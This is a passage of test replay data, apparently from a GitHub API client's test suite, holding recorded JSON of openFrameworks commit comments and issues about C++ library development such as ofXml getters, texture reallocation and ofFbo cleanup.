http://pocoproject.org/slides/150-Processes.pdf."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3431267","html_url":"https://github.com/openframeworks/openFrameworks/commit/39ca3785538ed4a027ea3ac7db23d92dbed4231c#commitcomment-3431267","id":3431267,"user":{"login":"diasbruno","id":362368,"avatar_url":"https://secure.gravatar.com/avatar/2d1142788375ac52dde09815838a0710?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2d1142788375ac52dde09815838a0710","url":"https://api.github.com/users/diasbruno","html_url":"https://github.com/diasbruno","followers_url":"https://api.github.com/users/diasbruno/followers","following_url":"https://api.github.com/users/diasbruno/following{/other_user}","gists_url":"https://api.github.com/users/diasbruno/gists{/gist_id}","starred_url":"https://api.github.com/users/diasbruno/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/diasbruno/subscriptions","organizations_url":"https://api.github.com/users/diasbruno/orgs","repos_url":"https://api.github.com/users/diasbruno/repos","events_url":"https://api.github.com/users/diasbruno/events{/privacy}","received_events_url":"https://api.github.com/users/diasbruno/received_events","type":"User"},"position":5,"line":41,"path":"libs/openFrameworks/utils/ofUtils.h","commit_id":"39ca3785538ed4a027ea3ac7db23d92dbed4231c","created_at":"2013-06-15T12:26:51Z","updated_at":"2013-06-15T12:26:51Z","body":"sure. thanks for the link."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3432153","html_url":"https://github.com/openframeworks/openFrameworks/commit/0361224e24657a33eea1e10481c73f21347bd733#commitcomment-3432153","id":3432153,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":5,"line":889,"path":"libs/openFrameworks/graphics/ofGraphics.cpp","commit_id":"0361224e24657a33eea1e10481c73f21347bd733","created_at":"2013-06-15T21:10:42Z","updated_at":"2013-06-15T21:10:42Z","body":"we should check the examples, there's probably some example still using this version"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3432204","html_url":"https://github.com/openframeworks/openFrameworks/commit/6d9c4cdb031c0a3b9b53689b331164488a55b4bf#commitcomment-3432204","id":3432204,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":23,"line":672,"path":"libs/openFrameworks/gl/ofTexture.cpp","commit_id":"6d9c4cdb031c0a3b9b53689b331164488a55b4bf","created_at":"2013-06-15T21:43:42Z","updated_at":"2013-06-15T21:43:42Z","body":"this will be a problem with openGL ES and textures that are non power of 2 since tex_w/h is different than width/height always so it'll reallocate every frame\r\n\r\nalso you can upload data to a texture that is bigger to what you are uploading\r\n\r\nperhaps w(path)\r\n\r\nwe could add a default value like we had in ofxXmlSettings\r\n\r\n getValue(path,default)\r\n\r\nor even specialize the function for the most common types:\r\n\r\n string getStringValue(string path)\r\n int getIntValue(string path)\r\n ....\r\n\r\nwhich internally call the templated version, i think this last one is the best, it's what we are using in ofParameter already and makes it less ambiguous than a default parameter for things like float..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3436737","html_url":"https://github.com/openframeworks/openFrameworks/commit/381fd1e7a5772b55f1991a8e3508c549f0d4d3d3#commitcomment-3436737","id":3436737,"user":{"login":"thiagohersan","id":850815,"avatar_url":"https://secure.gravatar.com/avatar/b3d17564d4e5a5b5925aab9c8af761cf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b3d17564d4e5a5b5925aab9c8af761cf","url":"https://api.github.com/users/thiagohersan","html_url":"https://github.com/thiagohersan","followers_url":"https://api.github.com/users/thiagohersan/followers","following_url":"https://api.github.com/users/thiagohersan/following{/other_user}","gists_url":"https://api.github.com/users/thiagohersan/gists{/gist_id}","starred_url":"https://api.github.com/users/thiagohersan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thiagohersan/subscriptions","organizations_url":"https://api.github.com/users/thiagohersan/orgs","repos_url":"https://api.github.com/users/thiagohersan/repos","events_url":"https://api.github.com/users/thiagohersan/events{/privacy}","received_events_url":"https://api.github.com/users/thiagohersan/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"381fd1e7a5772b55f1991a8e3508c549f0d4d3d3","created_at":"2013-06-17T10:14:10Z","updated_at":"2013-06-17T10:23:14Z","body":"yeah... default and/or specialized functions.\r\n\r\nbecause right now [this](https://github.com/openframeworks/openFrameworks/blob/381fd1e7a5772b55f1991a8e3508c549f0d4d3d3/libs/openFrameworks/types/ofXml.h#L206) makes it so that the only valid return type for getValue is string... : ) \r\n\r\nI can take a stab at this after work today.\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3436861","html_url":"https://github.com/openframeworks/openFrameworks/commit/381fd1e7a5772b55f1991a8e3508c549f0d4d3d3#commitcomment-3436861","id":3436861,"user":{"login":"thiagohersan","id":850815,"avatar_url":"https://secure.gravatar.com/avatar/b3d17564d4e5a5b5925aab9c8af761cf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b3d17564d4e5a5b5925aab9c8af761cf","url":"https://api.github.com/users/thiagohersan","html_url":"https://github.com/thiagohersan","followers_url":"https://api.github.com/users/thiagohersan/followers","following_url":"https://api.github.com/users/thiagohersan/following{/other_user}","gists_url":"https://api.github.com/users/thiagohersan/gists{/gist_id}","starred_url":"https://api.github.com/users/thiagohersan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thiagohersan/subscriptions","organizations_url":"https://api.github.com/users/thiagohersan/orgs","repos_url":"https://api.github.com/users/thiagohersan/repos","events_url":"https://api.github.com/users/thiagohersan/events{/privacy}","received_events_url":"https://api.github.com/users/thiagohersan/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"381fd1e7a5772b55f1991a8e3508c549f0d4d3d3","created_at":"2013-06-17T10:37:31Z","updated_at":"2013-06-17T10:37:31Z","body":"one more thing: addValue( ) is declared void, but it tries to return true/false in a couple of places:\r\n[L152](https://github.com/openframeworks/openFrameworks/blob/381fd1e7a5772b55f1991a8e3508c549f0d4d3d3/libs/openFrameworks/types/ofXml.h#L152)\r\n[L161](https://github.com/openframeworks/openFrameworks/blob/381fd1e7a5772b55f1991a8e3508c549f0d4d3d3/libs/openFrameworks/types/ofXml.h#L161)\r\n..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3437167","html_url":"https://github.com/openframeworks/openFrameworks/commit/381fd1e7a5772b55f1991a8e3508c549f0d4d3d3#commitcomment-3437167","id":3437167,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"381fd1e7a5772b55f1991a8e3508c549f0d4d3d3","created_at":"2013-06-17T11:21:58Z","updated_at":"2013-06-17T11:21:58Z","body":"interestingly, my compilation (gcc/Eclipse) doesn't even pick that up... there's a load of other warnings, though."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3438912","html_url":"https://github.com/openframeworks/openFrameworks/commit/381fd1e7a5772b55f1991a8e3508c549f0d4d3d3#commitcomment-3438912","id":3438912,"user":{"login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","url":"https://api.github.com/users/joshuajnoble","html_url":"https://github.com/joshuajnoble","followers_url":"https://api.github.com/users/joshuajnoble/followers","following_url":"https://api.github.com/users/joshuajnoble/following{/other_user}","gists_url":"https://api.github.com/users/joshuajnoble/gists{/gist_id}","starred_url":"https://api.github.com/users/joshuajnoble/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joshuajnoble/subscriptions","organizations_url":"https://api.github.com/users/joshuajnoble/orgs","repos_url":"https://api.github.com/users/joshuajnoble/repos","events_url":"https://api.github.com/users/joshuajnoble/events{/privacy}","received_events_url":"https://api.github.com/users/joshuajnoble/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"381fd1e7a5772b55f1991a8e3508c549f0d4d3d3","created_at":"2013-06-17T15:11:16Z","updated_at":"2013-06-17T15:13:48Z","body":"Hmm, this is why I kind of didn't want to do those templates in the first place :/ \r\n\r\nMy thought is \"XML is strings, it should only work with strings because that's all it is inside\". I also purposely didn't do getAsString, getAsInt, getAsFloat, getAsLong because it should be just \"get the value\" I think to keep it simple and clean: get the value, which is a string, and do something with it. A template seems like a nice compromise, but if supporting C++11 and 98 means there's no way to do it without `getValue()` then I guess it doesn't fit with the rest of core very well.\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3453546","html_url":"https://github.com/openframeworks/openFrameworks/commit/17ecca4d264194652ade119b491c65920a239fc6#commitcomment-3453546","id":3453546,"user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following{/other_user}","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"17ecca4d264194652ade119b491c65920a239fc6","created_at":"2013-06-18T23:46:04Z","updated_at":"2013-06-18T23:46:04Z","body":"hey this PR removed,\r\n`ofBaseSoundPlayer.cpp`\r\n`ofBaseSoundStream.cpp`\r\n`ofPoint.cpp`\r\n\r\nxcode is complaining not being able to find those files.\r\njust want to double check that this is correct before i update the xcode project."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3453566","html_url":"https://github.com/openframeworks/openFrameworks/commit/17ecca4d264194652ade119b491c65920a239fc6#commitcomment-3453566","id":3453566,"user":{"login":"thiagohersan","id":850815,"avatar_url":"https://secure.gravatar.com/avatar/b3d17564d4e5a5b5925aab9c8af761cf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b3d17564d4e5a5b5925aab9c8af761cf","url":"https://api.github.com/users/thiagohersan","html_url":"https://github.com/thiagohersan","followers_url":"https://api.github.com/users/thiagohersan/followers","following_url":"https://api.github.com/users/thiagohersan/following{/other_user}","gists_url":"https://api.github.com/users/thiagohersan/gists{/gist_id}","starred_url":"https://api.github.com/users/thiagohersan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thiagohersan/subscriptions","organizations_url":"https://api.github.com/users/thiagohersan/orgs","repos_url":"https://api.github.com/users/thiagohersan/repos","events_url":"https://api.github.com/users/thiagohersan/events{/privacy}","received_events_url":"https://api.github.com/users/thiagohersan/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"17ecca4d264194652ade119b491c65920a239fc6","created_at":"2013-06-18T23:48:55Z","updated_at":"2013-06-18T23:48:55Z","body":"#2129 should fix this."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3453625","html_url":"https://github.com/openframeworks/openFrameworks/commit/17ecca4d264194652ade119b491c65920a239fc6#commitcomment-3453625","id":3453625,"user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following{/other_user}","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"17ecca4d264194652ade119b491c65920a239fc6","created_at":"2013-06-18T23:58:46Z","updated_at":"2013-06-18T23:58:46Z","body":"ok, ill put together another PR like that one for iOS."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3454214","html_url":"https://github.com/openframeworks/openFrameworks/commit/17ecca4d264194652ade119b491c65920a239fc6#commitcomment-3454214","id":3454214,"user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following{/other_user}","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"17ecca4d264194652ade119b491c65920a239fc6","created_at":"2013-06-19T01:47:33Z","updated_at":"2013-06-19T01:47:33Z","body":"ive fixed this issue on ios here #2131 "}] - diff --git a/tests/ReplayData/PaginatedList.testGetFirstPage.txt b/tests/ReplayData/PaginatedList.testGetFirstPage.txt index ee62809a95..2286c170a5 100644 --- a/tests/ReplayData/PaginatedList.testGetFirstPage.txt +++ b/tests/ReplayData/PaginatedList.testGetFirstPage.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4927'), ('content-length', '52085'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280","assignee":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","assignee":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","gravatar_id":"837cfe96365c031130a46311eb11d86a","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277","assignee":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 